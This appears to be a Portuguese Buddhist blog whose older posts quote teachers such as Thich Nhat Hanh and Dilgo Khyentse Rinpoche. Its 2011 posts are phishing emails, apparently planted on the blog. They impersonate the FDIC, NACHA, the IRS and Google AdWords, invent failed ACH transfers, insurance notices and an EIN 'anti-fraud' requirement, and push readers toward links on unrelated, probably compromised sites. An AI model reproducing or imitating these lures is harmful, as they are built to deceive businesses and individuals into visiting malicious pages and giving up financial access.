Dharma

URGENT! Instructions for account holder

2011-12-21T15:31:00.000-02:00

Dear Sirs,

By this email we would like to inform you about the latest amendments in the
FDIC insurance coverage.

From December 31, 2010, through December 31, 2012 all funds in a
"noninterest-bearing transaction account" are provided with a full insurance
coverage by the FDIC. Please note, that this coverage is temporary and in
addition to the FDIC's common deposit insurance regulations.

The term "noninterest-bearing transaction account" includes a traditional
checking account or demand deposit account on which the insured depository
institution pays no interest.

For more information about this temporary FDIC coverage for transaction
accounts, please visit: http://dynamarkcarolinas.com/b3204e/index.html

Sincerely,
Donald Mullen
FDIC

Notice about FDIC temporary unlimited coverage

2011-12-19T13:23:00.000-02:00

Attn: Financial Department

Hereby we would like to notify you about the latest changes in the Federal
Deposit Insurance Corporation policy.

During the period from 12-31-2010 to 12-31-2012 all funds in a
"noninterest-bearing transaction account" are provided with a full insurance
coverage by the Federal Deposit Insurance Corporation. Please note, that
this coverage is temporary and separate from the Federal Deposit Insurance
Corporation's basic deposit insurance rules.

The term "noninterest-bearing transaction account" implies a conventional
checking account or demand deposit account on which no interest is paid by
the insured depository institution.

To obtain more information about this temporary FDIC arrangement, please
refer to: http://mariosandalusians.com/981163/index.html

Yours truly,
Kit Chandler
Federal Deposit Insurance Corporation

ACH transaction fault

2011-12-07T10:03:00.000-02:00

This message is mailed to you with regard to the ACH transaction
(ID: 597059771990) that was recently sent from your account.

The current status of the above mentioned transfer is: failed
due to the system malfunctioning. Please check the report below
to learn more:

http://pantaleogianluca.altervista.org/129322/index.html

Yours truly,
Ruth Stanford
2011 NACHA - The Electronic Payments Association
13450 Sunrise Valley Drive, Suite 100
Herndon, VA 20171

Direct Deposit payment was rejected

2011-11-23T10:25:00.000-02:00

This message concerns the ACH transfer (ID: 796332359088) that
you or any other person recently sent from your banking account.

The current status of the above mentioned transfer is: failed
due to the technical error. Please view the detailed information
in the report below:

http://vivaldi.bplaced.net/b67f84/index.html

Sincerely yours,
Emily Wooten
2011 NACHA - The Electronic Payments Association
13450 Sunrise Valley Drive, Suite 100
Herndon, VA 20171

ACH transaction technical failure

2011-11-21T09:30:00.000-02:00

This report refers to the ACH payment (ID: 86310031125) that
was recently sent from your banking account.

The current status of the referred transfer is: failed due to
the technical error. Please view the detailed information in
the report below:

http://troywardphotography.com/~nancyfox/dq1rai/index.html

Best regards,
Elmer Langley
2011 NACHA - The Electronic Payments Association
13450 Sunrise Valley Drive, Suite 100
Herndon, VA 20171

Acquire new EIN

2011-11-08T21:55:00.000-02:00

To the ATTENTION of: Accounting Department

Dear Sirs,

please be informed that your company is required to get a new
EIN as an anti-fraud measure. We apologize for causing you any
inconveniences by this measure. For detailed instructions please
use the following link:
http://dealrect.com/46ypfg3/index.html

Yours sincerely,

Jerome Dunn
Office of Professional Responsibility
Internal Revenue Service

Steve Jobs Alive!

2011-10-07T08:26:00.000-03:00

Google AdWords: You have a new alert.

2011-10-04T06:16:00.000-03:00

------------------------
This message was sent from a notification-only email address that does
not accept incoming email. Please do not reply to this message. If you
have any questions, please our Help Center to find answers to
frequently asked questions.
------------------------

Dear Valued Customer,

You have a new alert from Google Adwords.

Yours Sincerely,
The Google AdWords Team

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A essência dos ensinamentos do Buda

2009-10-27T17:30:00.001-03:00

A tolerância é a capacidade de receber, aceitar e transformar as coisas. Quando praticamos a tolerância, não precisamos sofrer nem nos resignarmos, mesmo quando precisamos aceitar o sofrimento ou a injustiça.

O Buda oferece uma linda imagem sobre isso. Se pegarmos um punhado de sal e colocarmos em uma tigela com água, a água ficará salgada demais para beber. Mas a mesma quantidade de sal colocada em um grande rio não afetará a sua água, e as pessoas ainda poderão bebê-la. Devido a sua imensidão o rio tem a capacidade de receber e transformar. O rio não sofre por causa de um punhado de sal. Se seu coração for pequeno, uma palavra ou ação injusta fará você sofrer, mas se o coração for grande, e se tiver compreensão e compaixão, a palavra ou ação injusta não terá o poder de lhe causar sofrimento, porque você terá a capacidade de receber, aceitar e transformar rapidamente. O que conta aqui é a sua capacidade. Para transformar o sofrimento, o coração precisa ser grande como um oceano. Outra pessoa talvez sofra, mas se um bodhisattva ouvir as mesmas palavras desgradáveis, não sofrerá. Tudo depende da forma de receber, aceitar e transformar. Se você guardar uma dor por muito tempo, é porque ainda não aprendeu a prática da tolerância.

Thich Nhat Hanh

EGO

2009-10-22T12:20:00.002-03:00

Quando estamos falando de prática, tão logo alguma coisa contrarie o desejo de seu ego, isso se torna uma prática. E, para isso, a meditação é muito importante, porque a meditação -- principalmente shamatha -- isola o ego de suas distrações.
Isolamento é a última coisa que o ego quer, porque o ego é fundamentalmente infeliz sobre sua condição.
A própria natureza do ego é a insegurança: insegurança sobre sua própria identidade e existência. [Introduction to The Middle Way].

MEIO DIA

2009-10-21T11:21:00.004-03:00

Se vocês não são livres hoje, quando serão ?
Povo de Tingri: a oportunidade só se apresenta uma vez a cada cem.

Com frequência ouvimos alguém dizer " Eu gostaria muito de praticar o dharma, mas no momento é impossível. Antes, tenho de cuidar da minha família e garantir o futuro". Mas é agora, enquanto ainda temos uma existência humana, que temos a oportunidade, a liberdade e a motivação para praticar o dharma. Por que, então, deixar para mais tarde ? Como ter certeza de que as condições serão melhores nas próximas vidas ? Nada impede que sejamos vítimas do sofrimento e da servidão provenientes dos níveis inferiores.

Ao permitir que os dias, meses e anos passem despercebidamente, estamos desperdiçando a oportunidade de nos libertarmos do circulo vicioso do samsara.

Quando somos convidados para um banquete, devemos aceitar, enquanto podemos. O relógio de dharma já bateu meio-dia. Temos de aproveitar enquanto é tempo.

[Os Cem Conselhos de Padampa Sangye]

EXIBIÇÃO DESNECESSÁRIA

2009-10-20T10:41:00.003-03:00

A vida dos grandes praticantes demonstra, repetidas vezes, que para manter a prática do Darma uma pessoa não precisa renunciar ao mundo. Tampouco é preciso renunciar ao Darma para se manter envolvido com as atividades do mundo. É possível integrar ambas as coisas em uma única vida. Gradativamente, novas prioridades e um equilíbrio necessário aparecem.
Em minha vida, testemunhei quatro pessoas alcançarem o corpo de arco-íris na hora da morte; elas não moravam em monastérios, mas viviam com suas famílias.
Quando tinha vinte e dois anos, presenciei um homem alcançar o corpo de arco-íris, e a maioria das pessoas sequer sabia que ele fazia prática espiritual.
Não há necessidade alguma de qualquer exibição externa para se obter êxito no caminho espiritual.
Não é o corpo que alteramos para nos tornarmos iluminados -- é a mente.
Você pode adotar o estilo de vida de um eremita, abandonar sua preocupação com comida, roupa, riqueza, amigos, família, lar e mudar-se para uma montanha, dedicando-se inteiramente à meditação. Esse é um modo perfeitamente válido.
No Vajraiana, porém, há um outro modo.
Sua vida externa continua com a forma habitual.
Você não deixa sua casa, não renuncia a nada, mas nunca se aparta da virtude, nunca se separa do Darma, da intenção de trazer benefícios ou da sabedoria.
[Portões da Prática Budista]

AÇÕES MAIS POSITIVAS

2008-10-14T23:02:00.002-03:00

"...Há duas práticas que devem ser observadas regularmente a cada manhã e noite de sua vida. A cada manhã, gere bodhichitta e reze para que durante o dia você nunca se esqueça de pensar no bem-estar dos outros. A cada noite, lembre-se de tudo o que você pensou e fez durante o dia e determine o quão foi motivado pela compaixão e o quão foi motivado pelo egoísmo; é importante olhar para as suas atividades e intenções mais sutis antes de decidir o que deve e o que não deve ser feito. Não pense que qualquer pequeno ato é insignificante apenas porque é muito pequeno, pois a menor ação negativa pode desencadear uma série devastadora de conseqüências, do mesmo modo que uma única pequena faísca pode por fogo e um floresta inteira. Opostamente, assim como uma pequena goteira de água rapidamente preenche um grande jarro, quando uma pequena ação positiva é adicionada a muitas outras, o efeito acumulado logo se torna substancial. Conscientizando-se de suas falhas deste modo e se arrependendo delas sinceramente, decida eliminar de agora em diante os pensamentos e atos negativos; e ao mesmo tempo dedique o mérito de suas ações positivas a todos os seres, resolvendo desenvolver mais e mais compaixão. Através deste processo de estado desperto constante e de avaliação crítica de suas ações, elas gradualmente se tornarão mais e mais positivas..."

Comentários de Dilgo Khyentse Rinpoche

The Heart Treasure of the Enlightened Ones - Patrul Rinpoche

A prática do dharma

2008-10-05T14:39:00.002-03:00

"A base e o objetivo inicial de nossa transformação é evitar fazer o mal aos outros. Sozinho ou acompanhado, devemos ansiar por evitar causar mal tanto diretamente com nossas palavras e ações, quanto indiretamente com nossos pensamentos e intenções. É possível ferir outros com abuso, difamação, sarcasmo, julgamentos e atitudes.
Quando a mente está dominada pela hostilidade, viciosamente atacamos os outros com nossos pensamentos. Embora nenhum dano aparente seja inflingido, esses pensamentos nos afetam internamente e influenciam nossa maneira de interagir. O efeito a longo prazo é sempre danoso.
Então, o tema inicial da prática do Dharma é uma alternativa de não violência para nossas próprias vidas, para os outros seres vivos e para nosso ambiente. Essa é a fundação da prática espiritual, e pode fornecer bem-estar tanto para nós mesmos quanto para os outros.
Com essa base de não violência podemos procurar maneiras de servir, tendo em mente que qualquer trabalho será altruísta se nossa motivação for de bondade e amizade."

B. Alan Wallace, em "Tibetan Buddhism from the Ground Up"

A mais verdadeira amizade

2008-10-05T14:38:00.004-03:00

Cedo ou tarde, você terá que deixar até seus amigos mais queridos. Mas um amigo jamais irá abandoná-lo, apesar de você poder não ter consciência de sua existência. É a Natureza de Buda, puro estado desperto. Você começa a descobri-la ouvindo os ensinamentos de um mestre espiritual. Os laços vão se fortalecer a medida que você cultiva a calma mental sustentada e o profundo insight sobre a realidade. No fim, você descobrirá que isso sempre esteve perto de você e sempre estará. Essa é a mais verdadeira amizade que você pode cultivar.

Dilgo Khyentse Rinpoche, em "The Hundred Verses of Advice"

Nada além de pensamentos

2008-10-05T14:37:00.003-03:00

Quando a raiva surge naquilo que consideramos como sendo nossas mentes, nos tornamos negligentes até com os perigos que nos ameaçam. Nossos rostos enrubescem de raiva, pegamos nossas armas e poderíamos até matar muitas pessoas.
Mas essa raiva é uma ilusão; não é jamais alguma grande força que chega atacando. Ela só garante uma coisa: nos mandar para o inferno. E ainda assim não é nada além de pensamento, insubstancial pensamento, apenas pensamento, e mesmo assim...
Veja outro exemplo: o de alguém rico. Ele tem muito dinheiro, é feliz e sente muito prazer consigo, pensando: "Sou rico". Mas então toda sua propriedade é confiscada por algum oficial ou outra pessoa. Sua felicidade evapora e ele cai em depressão e angústia.
Aquela alegria é a mente. Aquela tristeza é a mente. A aquela mente é pensamento.

Dilgo Khyentse Rinpoche

Do Buda

2008-10-05T14:35:00.002-03:00

Inúmeros nascimentos atravessei na ronda das repetidas existências, procurando,

Mas não achando, o construtor-da-casa.

Quão doloroso é nascimento vez após vez!

Ó construtor-da-casa! Agora foste visto; não construirás a casa outra vez.

Quebradas estão todas as tuas vigas, demolida está tua cumeeira.

Vindo a realizar o despojamento de todas as coisas materiais,

minha mente alcançou o fim de todos os anelos.

Buda "Dhammapada"

O Professor Espiritual

2008-10-05T14:32:00.002-03:00

"Sempre é benéfico estar perto de um professor espiritual. Esses mestres são como jardins de plantas medicinais, santuários de sabedoria.Na presença de um mestre realizado, você vai rapidamente alcançar a iluminação. Na presença de um erudito, você vai adquirir grande conhecimento. Na presença de um excelente meditador, a experiência espiritual vai amanhecer em sua mente. Na presença de um bodhisattva, sua compaixão vai expandir. Da mesma maneira que um tronco comum, colocado perto de um tronco de sândalo, fica saturado, pouco a pouco, com sua fragrância."

Dilgo Khyentse Rinpoche - em The Hundred Verses of Advice

O Despertar da Compaixão

2008-09-22T13:43:00.003-03:00

Imagine passar sua vida inteira em um pequeno quarto com apenas uma janela fechada e tão suja que mal deixe passar a luz. Você provavelmente acharia que o mundo é um lugar bastante obscuro e sombrio, repleto de criaturas de formas estranhas que lançam sombras aterrorizantes no vidro sujo quando passam pelo seu quarto. Mas imagine que um dia você derrame um pouco de água na janela, ou um pouco de chuva escorra pelo vidro depois de uma tempestade e use um trapo ou a manga de sua camisa para enxugar a água. Ao fazer isso, parte da sujeita acumulada no vidro é limpa. Subitamente, um pequeno feixe de luz atravessa o vidro. Curioso, você pode limpar um pouco mais e, à medida que mais sujeira é limpa, mais luz entra no quarto. "Talvez", você pensa, "o mundo não seja tão escuro e assustador. Talvez seja o vidro".
Você vai até a pia e pega mais água (e talvez mais alguns trapos) e esfrega até que toda a superfície da janela fique livre da sujeira. A luz entra em todo o seu resplendor e você percebe, talvez pela primeira vez, que todas aquelas sombras de formas estranhas que costumavam assustá-lo a cada vez que passavam eram pessoas - exatamente como você ! E, das profundezas de sua consciência, surge o desejo instintivo de formar um vínculo social - sair para rua e estar com essas pessoas.
Na verdade, você não mudou absolutamente nada. O mundo, a luz e as pessoas sempre estiveram lá. Você só não conseguia vê-los porque sua visão estava obscurecida. Mas agora você vê tudo, e que enorme diferença isso faz !
É isso que, na tradição budista, chamamos de despertar da compaixão, o despertar de uma capacidade inata de identificar-se com e compreender a experiência dos outros.

Yongey Mingyur Rinpoche - A Alegria de Viver

O Futuro

2008-09-15T23:37:00.005-03:00

Não precisamos de uma vidente para nos dizer qual vai ser a nossa experiência no futuro - precisamos apenas olhar para a nossa própria mente.

Se temos um bom coração e a intenção de ajudar os outros, vamos encontrar felicidade continuamente.

Se, ao contrário, a mente estiver preenchida por pensamentos autocentrados e mundanos, ou com raiva e intenções maldosas em relação aos outros, vamos encontrar apenas experiências difíceis.

Chagdud Tulku Rinpoche em Portões da Prática Budista

A vida é como um piquenique

2008-08-22T16:05:00.007-03:00

"A vida é como um piquenique em uma tarde de domingo. Ela não dura muito tempo.
Só olhar o sol, sentir o perfume das flores ou respirar o ar puro já é uma alegria. Mas se tudo o que fazemos é ficar discutindo onde pôr a toalha, quem vai sentar em que canto, quem vai ficar com o peito ou a coxa do frango..., que desperdício!
Mais cedo ou mais tarde o tempo fecha, a tarde cai e o piquenique acaba. E tudo o que fizemos foi ficar discutindo e implicando uns com os outros. Pense em tudo que se perdeu.
Você pode estar se perguntando: se tudo é impermanente, se nada dura, como pode alguém viver feliz? É verdade que não podemos, de fato, agarrar ou nos segurar às coisas, mas podemos usar esse conhecimento para olhar a vida de modo diferente, como uma oportunidade muito breve e rara.
Se trouxermos à nossa vida a maturidade de saber que tudo é impermanente, vamos ver que nossas experiências serão mais ricas, nossos relacionamentos mais sinceros, e teremos maior apreciação por tudo aquilo que já desfrutamos. Também seremos mais pacientes. Vamos compreender que, por pior que as coisas possam parecer no momento, as circunstâncias infelizes não podem durar. Teremos a sensação de que seremos capazes de suportá-las até que passem.
E com maior paciência seremos mais delicados com as pessoas a nossa volta.
Não é tão difícil manifestar um gesto amoroso quando nos damos conta de que talvez nunca mais estaremos com a nossa tia-avó. Por que não deixá-la feliz? Por que não dispor de tempo para ouvir todas aquelas histórias antigas?
Chegar à compreensão da impermanência e ao desejo autêntico de fazer os outros felizes nesta breve oportunidade que temos juntos, constitui o começo da verdadeira prática espiritual.
É esse tipo de sinceridade que efetivamente catalisa a transformação em nossa mente e em nosso ser."

[ Portões da Prática Budista]